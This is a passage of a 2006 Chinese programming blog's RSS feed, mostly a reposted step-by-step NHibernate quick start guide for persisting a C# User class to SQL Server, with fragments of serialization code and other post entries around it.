										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        </span>
								<span style="COLOR: #0000ff">public</span>
								<span style="COLOR: #000000"> SerializeTest(</span>
								<span style="COLOR: #0000ff">int</span>
								<span style="COLOR: #000000"> number)<br /></span>
								<span style="COLOR: #008080">36</span>
								<span style="COLOR: #000000">
										<img id="Codehighlighter1_1070_1115_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1070_1115_Open_Text.style.display='none'; Codehighlighter1_1070_1115_Closed_Image.style.display='inline'; Codehighlighter1_1070_1115_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
										<img id="Codehighlighter1_1070_1115_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1070_1115_Closed_Text.style.display='none'; Codehighlighter1_1070_1115_Open_Image.style.display='inline'; Codehighlighter1_1070_1115_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />        </span>
								<span id="Codehighlighter1_1070_1115_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
										<img src="http://www.cnitblog.com/images/dot.gif" />
								</span>
								<span id="Codehighlighter1_1070_1115_Open_Text">
										<span style="COLOR: #000000">{<br /></span>
										<span style="COLOR: #008080">37</span>
										<span style="COLOR: #000000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #0000ff">this</span>
										<span style="COLOR: #000000">._number </span>
										<span style="COLOR: #000000">=</span>
										<span style="COLOR: #000000"> number;<br /></span>
										<span style="COLOR: #008080">38</span>
										<span style="COLOR: #000000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />        }</span>
								</span>
								<span style="COLOR: #000000">
										<br />
								</span>
								<span style="COLOR: #008080">39</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
										<br />
								</span>
								<span style="COLOR: #008080">40</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        </span>
								<span style="COLOR: #0000ff">private</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #0000ff">int</span>
								<span style="COLOR: #000000"> _number;<br /></span>
								<span style="COLOR: #008080">41</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
										<br />
								</span>
								<span style="COLOR: #008080">42</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        </span>
								<span style="COLOR: #0000ff">public</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #0000ff">int</span>
								<span style="COLOR: #000000"> Number<br /></span>
								<span style="COLOR: #008080">43</span>
								<span style="COLOR: #000000">
										<img id="Codehighlighter1_1182_1265_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1182_1265_Open_Text.style.display='none'; Codehighlighter1_1182_1265_Closed_Image.style.display='inline'; Codehighlighter1_1182_1265_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
										<img id="Codehighlighter1_1182_1265_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1182_1265_Closed_Text.style.display='none'; Codehighlighter1_1182_1265_Open_Image.style.display='inline'; Codehighlighter1_1182_1265_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />        </span>
								<span id="Codehighlighter1_1182_1265_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
										<img src="http://www.cnitblog.com/images/dot.gif" />
								</span>
								<span id="Codehighlighter1_1182_1265_Open_Text">
										<span style="COLOR: #000000">{<br /></span>
										<span style="COLOR: #008080">44</span>
										<span style="COLOR: #000000">
												<img id="Codehighlighter1_1200_1218_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1200_1218_Open_Text.style.display='none'; Codehighlighter1_1200_1218_Closed_Image.style.display='inline'; Codehighlighter1_1200_1218_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
												<img id="Codehighlighter1_1200_1218_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1200_1218_Closed_Text.style.display='none'; Codehighlighter1_1200_1218_Open_Image.style.display='inline'; Codehighlighter1_1200_1218_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />            </span>
										<span style="COLOR: #0000ff">get</span>
										<span style="COLOR: #000000"> </span>
										<span id="Codehighlighter1_1200_1218_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
												<img src="http://www.cnitblog.com/images/dot.gif" />
										</span>
										<span id="Codehighlighter1_1200_1218_Open_Text">
												<span style="COLOR: #000000">{ </span>
												<span style="COLOR: #0000ff">return</span>
												<span style="COLOR: #000000"> _number; }</span>
										</span>
										<span style="COLOR: #000000">
												<br />
										</span>
										<span style="COLOR: #008080">45</span>
										<span style="COLOR: #000000">
												<img id="Codehighlighter1_1236_1255_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1236_1255_Open_Text.style.display='none'; Codehighlighter1_1236_1255_Closed_Image.style.display='inline'; Codehighlighter1_1236_1255_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
												<img id="Codehighlighter1_1236_1255_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1236_1255_Closed_Text.style.display='none'; Codehighlighter1_1236_1255_Open_Image.style.display='inline'; Codehighlighter1_1236_1255_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />            </span>
										<span style="COLOR: #0000ff">set</span>
										<span style="COLOR: #000000"> </span>
										<span id="Codehighlighter1_1236_1255_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
												<img src="http://www.cnitblog.com/images/dot.gif" />
										</span>
										<span id="Codehighlighter1_1236_1255_Open_Text">
												<span style="COLOR: #000000">{ _number </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> value; }</span>
										</span>
										<span style="COLOR: #000000">
												<br />
										</span>
										<span style="COLOR: #008080">46</span>
										<span style="COLOR: #000000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />        }</span>
								</span>
								<span style="COLOR: #000000">
										<br />
								</span>
								<span style="COLOR: #008080">47</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />
										<br />
								</span>
								<span style="COLOR: #008080">48</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />        </span>
								<span style="COLOR: #0000ff">public</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #0000ff">string</span>
								<span style="COLOR: #000000"> Test()<br /></span>
								<span style="COLOR: #008080">49</span>
								<span style="COLOR: #000000">
										<img id="Codehighlighter1_1305_1353_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1305_1353_Open_Text.style.display='none'; Codehighlighter1_1305_1353_Closed_Image.style.display='inline'; Codehighlighter1_1305_1353_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />
										<img id="Codehighlighter1_1305_1353_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1305_1353_Closed_Text.style.display='none'; Codehighlighter1_1305_1353_Open_Image.style.display='inline'; Codehighlighter1_1305_1353_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top" />        </span>
								<span id="Codehighlighter1_1305_1353_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
										<img src="http://www.cnitblog.com/images/dot.gif" />
								</span>
								<span id="Codehighlighter1_1305_1353_Open_Text">
										<span style="COLOR: #000000">{<br /></span>
										<span style="COLOR: #008080">50</span>
										<span style="COLOR: #000000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #0000ff">return</span>
										<span style="COLOR: #000000"> Number.ToString();<br /></span>
										<span style="COLOR: #008080">51</span>
										<span style="COLOR: #000000">
												<img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />        }</span>
								</span>
								<span style="COLOR: #000000">
										<br />
								</span>
								<span style="COLOR: #008080">52</span>
								<span style="COLOR: #000000">
										<img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span>
						</span>
						<span style="COLOR: #000000">
								<br />
						</span>
						<span style="COLOR: #008080">53</span>
						<span style="COLOR: #000000">
								<img src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span>
				</span>
				<span style="COLOR: #000000">
						<br />
				</span>
				<span style="COLOR: #008080">54</span>
				<span style="COLOR: #000000">
						<img src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align="top" />
				</span>
		</div>
<img src ="http://www.cnitblog.com/eastperson/aggbug/15245.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-08-14 18:06 <a href="http://www.cnitblog.com/eastperson/archive/2006/08/14/15245.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>创建自己的迭代器！！</title><link>http://www.cnitblog.com/eastperson/archive/2006/08/03/14644.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Thu, 03 Aug 2006 08:22:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/08/03/14644.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/14644.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/08/03/14644.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/14644.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/14644.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 1								using				 System;				 2																		using				 System.Collections.Generic;				 3																		using				 System.Text;				 4																				...&nbsp;&nbsp;<a href='http://www.cnitblog.com/eastperson/archive/2006/08/03/14644.html'>阅读全文</a><img src ="http://www.cnitblog.com/eastperson/aggbug/14644.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-08-03 16:22 <a href="http://www.cnitblog.com/eastperson/archive/2006/08/03/14644.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>A Quick Start Guide to NHibernate</title><link>http://www.cnitblog.com/eastperson/archive/2006/07/04/13221.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Tue, 04 Jul 2006 02:32:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/07/04/13221.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/13221.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/07/04/13221.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/13221.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/13221.html</trackback:ping><description><![CDATA[
		<h1 class="block_title">A Quick Start Guide to NHibernate</h1>
		<div class="post">
				<div class="postcontent">
						<br />
						<br />
						<h2>What is NHibernate</h2>
						<p>NHibernate is a .NET based object persistence library for relational databases. NHibernate is a port of the excellent Java <a href="http://phenix3.cnblogs.com/articles/www.hibernate.org"><font color="#0000ff">Hibernate</font></a> relational persistence tool. </p>
						<p>NHibernate handles persisting your .NET objects to and from an underlying relational database. Rather than you having to write SQL to get your objects in and out of the database, NHibernate takes care of this for you. Your code only need be concerned with your objects, NHibernate generates the SQL and makes sure that things end up in the correct tables and columns. </p>
						<h2>Why this Guide?</h2>
						<p>Anybody who is at all familiar with Hibernate will recognize this as being really similar to Glen Smith's <a href="http://files.blog-city.com/files/aa/1018/b/HibernateKickstart.html"><font color="#0000ff">A Hitchhiker's Guide to Hibernate</font></a>. The content is based on that guide so all of the credit needs to be given to him. </p>
						<p>NHibernate's documentation is not anywhere near the point that Hibernate's documentation is. However, the project's are similar enough that the reader should be able to look at Hibernate's documentation and get a very good feel for how NHibernate works. </p>
						<p>This doc is intended to get you up and running with NHibernate as quickly as possible. It will cover how to persist a simple object to a table. For more complex examples please see the NUnit test that come with the code. </p>
						<h2>Translations of this Guide</h2>
						<p>
								<a href="http://www.projetando.net/Articles/ViewArticle.aspx?ArticleID=41&amp;CategoryID=6">
										<font color="#0000ff">Portuguese</font>
								</a> version written by Israel Aéce. </p>
						<h2>The Development Process</h2>
						<p>NHibernate is going to have some tools to help you generate a schema (in codebase now), generate classes from mapping files (on the drawing board), and to update a schema (suggestion from a new developer). However, for this example we are going to assume everything from setting up the table to coding the .NET class is done manually. Here are the steps we are going to perform: </p>
						<ol>
								<li>Create the table to persist the .NET Class to. 
</li>
								<li>Create a .NET Class that needs to be persisted. 
</li>
								<li>Create a mapping file so NHibernate knows how to persist the .NET Class' Properties 
</li>
								<li>Create a configuration file for NHibernate to know how to connect to your Database 
</li>
								<li>Use the NHibernate API </li>
						</ol>
						<h2>Step 1: Writing the SQL</h2>
						<p>The example we're working through is a very simple one. Consider you've developing a basic user management subsystem for your website. We'll use a Users table that looks like this (I am assuming you already have a database setup - in my case I am calling it NHibernate): </p>
						<pre class="code">		
use NHibernate
go

CREATE TABLE users (
  LogonID nvarchar(20) NOT NULL default '0',
  Name nvarchar(40) default NULL,
  Password nvarchar(20) default NULL,
  EmailAddress nvarchar(40) default NULL,
  LastLogon datetime default NULL,
  PRIMARY KEY  (LogonID)
)
go
		</pre>
						<p>I'm using MS Sql Server 2000, but feel free to use any kind of database you've got a .NET Data Provider driver for. We've got a User table with a Logon ID, Full Name, Password, Email and date of last logon. Pretty standard sort of deal. Next step is to write a .NET Class to handle a given User </p>
						<h2>Step 2: Creating the .NET Class</h2>
						<p>When we get a bunch of Users in memory, we'll need some sort of object to hold them for us. NHibernate works via reflection on Properties of the objects, so we'll need to add Properties to the Class we want to persist. A simple Class that can be persisted with NHibernate looks like : </p>
						<pre class="code">		
using System;

namespace NHibernate.Demo.QuickStart
{
	public class User
	{
		private string id;
		private string userName;
		private string password;
		private string emailAddress;
		private DateTime lastLogon;


		public User()
		{
		}

		public string Id 
		{
			get { return id; }
			set { id = value; }
		}

		public string UserName 
		{
			get { return userName; }
			set { userName = value; }
		}

		public string Password 
		{
			get { return password; }
			set { password = value; }
		}

		public string EmailAddress 
		{
			get { return emailAddress; }
			set { emailAddress = value; }
		}

		public DateTime LastLogon 
		{
			get { return lastLogon; }
			set { lastLogon = value; }
		}
		
	}
}
		</pre>
						<p>In our example above, we've made the Properties and the Constructor public - but that's not a requirement for NHibernate - it can use public, protected, internal, or even private Properties to persist your data. </p>
						<h2>Step 3: Writing the Mapping File</h2>
						<p>So we've now got our SQL table, and the .NET Class that's going to map to it. We still need a way to tell NHibernate how to map from one to the other. This is accomplished via a mapping file. The cleanest (most maintainable) way is to write one mapping file per Class, and if you name it <code><i>YourObject</i>.hbm.xml</code> and put it in the same directory as your Class, NHibernate will make things even easier for you. Here's an example of what <code>User.hbm.xml</code> might look like: </p>
						<pre class="code">		
&lt;?xml version="1.0" encoding="utf-8" ?&gt;
&lt;hibernate-mapping xmlns="urn:nhibernate-mapping-2.0"&gt;
	&lt;class name="NHibernate.Examples.QuickStart.User, NHibernate.Examples" table="users"&gt;
		&lt;id name="Id" column="LogonId" type="String" length="20"&gt; 
			&lt;generator class="assigned" /&gt; 
		&lt;/id&gt; 
		&lt;property name="UserName" column= "Name" type="String" length="40"/&gt; 
		&lt;property name="Password" type="String" length="20"/&gt; 
		&lt;property name="EmailAddress" type="String" length="40"/&gt;
		&lt;property name="LastLogon" type="DateTime"/&gt;
	&lt;/class&gt;

&lt;/hibernate-mapping&gt;
		</pre>
						<p>Let's have a look at some lines of interest in our file. The first tag of interest is the <code>class</code> tag. Here we map from the Type name (Class name and Assembly) to the users table in our database. This is slightly different than Hibernate. You have to tell NHibernate where to load the Class from. In this case we are loading the Class <code>NHibernate.Examples.QuickStart.User</code> in the Assembly <code>NHibernate.Examples</code>. NHibernate follows the same rules of loading a Type as the .NET Framework - so if you have any confusion about how to specify the Type see the .NET Framework SDK. </p>
						<p>Let's skip the <code>id</code> tag for a moment and talk about the <code>property</code> tags. A cursory scan will show this is where the work is being done. The <code>name</code> attribute is the Property on our .NET Class, and the <code>column</code> is the name of the field in our database. The <code>type</code> attribute is optional (NHibernate will use reflection for a best-guess if you leave it out). </p>
						<p>Ok. Let's return to that <code>id</code> tag. You may have guessed that this tag has something to do with mapping to the primary key of the table. You'd be right. The form of the ID tag is very similar to the property tags we just looked at. We map from the Property (<code>name</code>) to the target database field (<code>column</code>). </p>
						<p>The embedded generator tag tells NHibernate how it should produce the primary key (it's quite happy to generate one for you, of whatever type you prefer, but you'll need to tell it how). In our case, we set it to assigned, meaning that our object is going to generate its own keys (the User object will always need to have a UserID after all). If you're keen to let NHibernate generate keys for you, you'll be interested in class settings like <code>uuid.hex</code> and <code>uuid.string</code> (check out the docs for more info). </p>
						<p>
								<b>TIP</b>: If you are using Visual Studio .NET to compile make sure that you set the <code>Build Action</code> of the User.hbm.xml file to <code>Embedded Resource</code>. The mapping file will now be a part of the Asssembly. The subtle detail's importance will be evident later. </p>
						<p>
								<b>TIP</b>: If the only change you make between builds is to a mapping file then you must Rebuild the project. Visual Studio .NET will not recompile a project if only a <code>hbm.xml</code> file was changed. </p>
						<h2>Step 4: Creating a Configuration File for Your Database</h2>
						<p>We still haven't told NHibernate where to find our database. The most straightforward way is to feed NHibernate a configuration section from your application's config file.  This is the equivalent of using a Properties file with Hibernate.  Here's what one might look like: </p>
						<pre class="code">		
&lt;?xml version="1.0" encoding="utf-8" ?&gt;
&lt;configuration&gt;
   	&lt;configSections&gt;
	        &lt;section name="nhibernate" type="System.Configuration.NameValueSectionHandler, System, Version=1.0.3300.0,Culture=neutral, PublicKeyToken=b77a5c561934e089" /&gt;
	&lt;/configSections&gt;
	
	&lt;nhibernate&gt;
		&lt;add 
			key="hibernate.connection.provider"          
			value="NHibernate.Connection.DriverConnectionProvider" 
		/&gt;
		&lt;add 
			key="hibernate.dialect"                      
			value="NHibernate.Dialect.MsSql2000Dialect" 
		/&gt;
		&lt;add 
			key="hibernate.connection.driver_class"          
			value="NHibernate.Driver.SqlClientDriver" 
		/&gt;
		&lt;add 
			key="hibernate.connection.connection_string" 
			value="Server=localhost;initial catalog=nhibernate;Integrated Security=SSPI" 
		/&gt;
	&lt;/nhibernate&gt;
&lt;/configuration&gt;
		</pre>
						<p>The example above uses a SqlClient driver, connects to the nhibernate database on localhost, and uses the supplied username and password. There are a bunch of other properties you can set to "tune" how NHibernate accesses your database of choice. Once again, checkout the doco for detailed info. </p>
						<p>Please note that the above configuration file does not have any information about configuring log4net. NHibernate uses log4net to log what is happening internally. In a production application I would recommend configuring log4net and setting NHibernate to the appropriate log level for your scenario. </p>
						<h2>Step 5: Start doing Magic with NHibernate</h2>
						<p>All the hard work has now been done. If all has gone well so far, you'll have the following:</p>
						<ul>
								<li>
										<code>User.cs</code> - your C# Class to persist 
</li>
								<li>
										<code>User.hbm.xml</code> - your NHibernate mapping file 
</li>
								<li>
										<code>app.config</code> - your configuration settings with ADO.NET connection info (you can do this in code if you like) 
</li>
								<li>A SQL <code>User</code> table in your database </li>
						</ul>
						<p>Making use of NHibernate in your source is pretty straightforward. The nutshell edition goes:</p>
						<ol>
								<li>Create a Configuration object 
</li>
								<li>Tell the Configuration about the type of objects you want to store 
</li>
								<li>Create a Session to your database of choice 
</li>
								<li>Load, Save and Query your objects 
</li>
								<li>
										<code>Flush()</code> your Session back to the database </li>
						</ol>
						<p>Let's have a look at some source to make it all much clearer.</p>
						<p>
								<i>First, Create a Configuration Object...</i>
						</p>
						<p>The Configuration object has knowledge of all the mappings that are going on between .NET Classes and the backend database. </p>
						<pre class="code">		
	Configuration cfg = new Configuration();
	cfg.AddAssembly("NHibernate.Examples");
		</pre>
						<p>The Configuration object will look through the Assembly for any files ending in <code>.hbm.xml</code>. There are other ways to add the Mapping files, but this is probably the easiest. </p>
						<p>
								<i>Then, Create a Session Object...</i>
						</p>
						<p>The ISession object represents a connection to your backend database and the ITransaction represents a NHibernate managed Transaction. </p>
						<pre class="code">		
	ISessionFactory factory = cfg.BuildSessionFactory();
	ISession session = factory.OpenSession();
	ITransaction transaction = session.BeginTransaction();
		</pre>
						<p>
								<i>Then Load, Save and Query your Objects!</i>
						</p>
						<p>Now you just use your objects in a .NET-native way. Would you like to store a new User in the database? Try something like this: </p>
						<pre class="code">		
	User newUser = new User();
	newUser.Id = "joe_cool";
	newUser.UserName = "Joseph Cool";
	newUser.Password = "abc123";
	newUser.EmailAddress = "joe@cool.com";
	newUser.LastLogon = DateTime.Now;
			
	// Tell NHibernate that this object should be saved
	session.Save(newUser);

	// commit all of the changes to the DB and close the ISession
	transaction.Commit();
	session.Close();
		</pre>
						<p>As you can see, the great thing about NHibernate is the low overhead. Go ahead and query your database and verify that you see the new record in the users table. For the most part you just worry about your business objects, and tell NHibernate when you're done. </p>
						<p>Let's say you want to retrieve an object when you know the user ID (eg. During a login process to your site). Once a session is opened it's a one-liner; pass in the key and you're done: </p>
						<pre class="code">		
	// open another session to retrieve the just inserted user
	session = factory.OpenSession();

	User joeCool = (User)session.Load(typeof(User), "joe_cool");
		</pre>
						<p>The User object you get back is live! Change its properties and it will get persisted to the database on next <code>Flush()</code>. </p>
						<pre class="code">		
	// set Joe Cool's Last Login property
	joeCool.LastLogon = DateTime.Now;

	// flush the changes from the Session to the Database
	session.Flush();
		</pre>
						<p>All you had to do to get NHibernate to write the changes you made was to ask it to <code>Flush</code> the Session. Go ahead and query your database through its tools to verify the Property <code>LastLogin</code> was updated for "joe_cool". </p>
						<p>Even better, you can query your table and get back a <code>System.Collections.IList</code> of live objects. Try something like this: </p>
						<pre>		
	IList userList = session.CreateCriteria(typeof(User)).List();
	foreach(User user in userList)
	{
		System.Diagnostics.Debug.WriteLine(user.Id + " last logged in at " + user.LastLogon);
	}
	
		</pre>
						<p>This query will return the whole table. Typically you'll want a lot more control - like list the Users who have logged in after March 14, 2004 10:00 PM, so you'll do something like: </p>
						<pre class="code">		
	IList recentUsers = session.CreateCriteria(typeof(User))
					.Add(Expression.Expression.Gt("LastLogon", new DateTime(2004, 03, 14, 20, 0, 0)))
					.List();

	foreach(User user in recentUsers)
	{
		System.Diagnostics.Debug.WriteLine(user.Id + " last logged in at " + user.LastLogon);
	}
		</pre>
						<p>There are a wealth of querying options in the documentation, but this will give you an idea of the kind of power Hibernate offers you. </p>
						<p>
								<i>...And Finally <code>Close()</code> your session. This will free up the ADO.NET connection that NHibernate is using.</i>
						</p>
						<pre class="code">		
	// tell NHibernate to close this Session
	session.Close();
		</pre>
						<h2>And that is it...</h2>
						<p>You've created objects, persisted them, and retrieved (via Criteria queries and key lookup). You've gotta be happy with that! </p>
						<p>Now that you've got a feel for NHibernate, you'll be well served by having a good look through the extensive documentation that comes with <a href="http://phenix3.cnblogs.com/articles/h2.0.3-docs/reference/html/"><font color="#0000ff">Hibernate 2.0.3</font></a> (remember - the docs in NHibernate are still in the early stages, this is just a copy of the Hibernate docs). There's a world of cool stuff to explore like handling one-to-many SQL mapping, persisting sorted and nested collections, tuning performance and much more. </p>
						<p>Enjoy! And Happy NHibernating! </p>
						<p>Mike Doerfler <br /></p>
						<p>Once again - all credit should go to Glen Smith and his article that served as the template for this article - <a href="http://files.blog-city.com/files/aa/1018/b/HibernateKickstart.html"><font color="#0000ff">A Hitchhiker's Guide to Hibernate</font></a></p>
						<p>Updated: 2004-10-07 for ddl changes to nvarchar.</p>
						<p>Updated: 2004-08-05 for changes with type="" attribute.</p>
						<p>Published: 2004-03-21</p>
				</div>
		</div>
<img src ="http://www.cnitblog.com/eastperson/aggbug/13221.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-07-04 10:32 <a href="http://www.cnitblog.com/eastperson/archive/2006/07/04/13221.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>NHibernate Reference Documentation</title><link>http://www.cnitblog.com/eastperson/archive/2006/07/04/13220.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Tue, 04 Jul 2006 02:29:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/07/04/13220.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/13220.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/07/04/13220.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/13220.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/13220.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: NHibernate - Relational Persistence for Idiomatic .NET																																																								NHibernate Reference Documentation																																				...&nbsp;&nbsp;<a href='http://www.cnitblog.com/eastperson/archive/2006/07/04/13220.html'>阅读全文</a><img src ="http://www.cnitblog.com/eastperson/aggbug/13220.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2006-07-04 10:29 <a href="http://www.cnitblog.com/eastperson/archive/2006/07/04/13220.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>NHibernate VS IbatisNet</title><link>http://www.cnitblog.com/eastperson/archive/2006/07/04/13215.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Tue, 04 Jul 2006 02:17:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2006/07/04/13215.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/13215.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2006/07/04/13215.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/13215.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/13215.html</trackback:ping><description><![CDATA[
		<h2>
				<strong>
						<font color="#333333">NHibernate<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 是当前最流行的</span></font>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">Java O/R mapping</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 框架</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">Hibernate</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 的移植版本，当前版本是</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">1.0 rc-1</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 。它出身于</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">sf.net..IbatisNet</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 是另外一种优秀的</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">Java O/R mapping</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 框架，当前版本是</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">1.2</span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 。目前属于</span>
				</strong>
				<strong>
						<span>apache的一个子项目了。<br /></span>
						<span style="COLOR: #333333; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">相对</span>
						<span lang="EN-US" style="COLOR: #333333" xml:lang="EN-US">NHibernate</span>
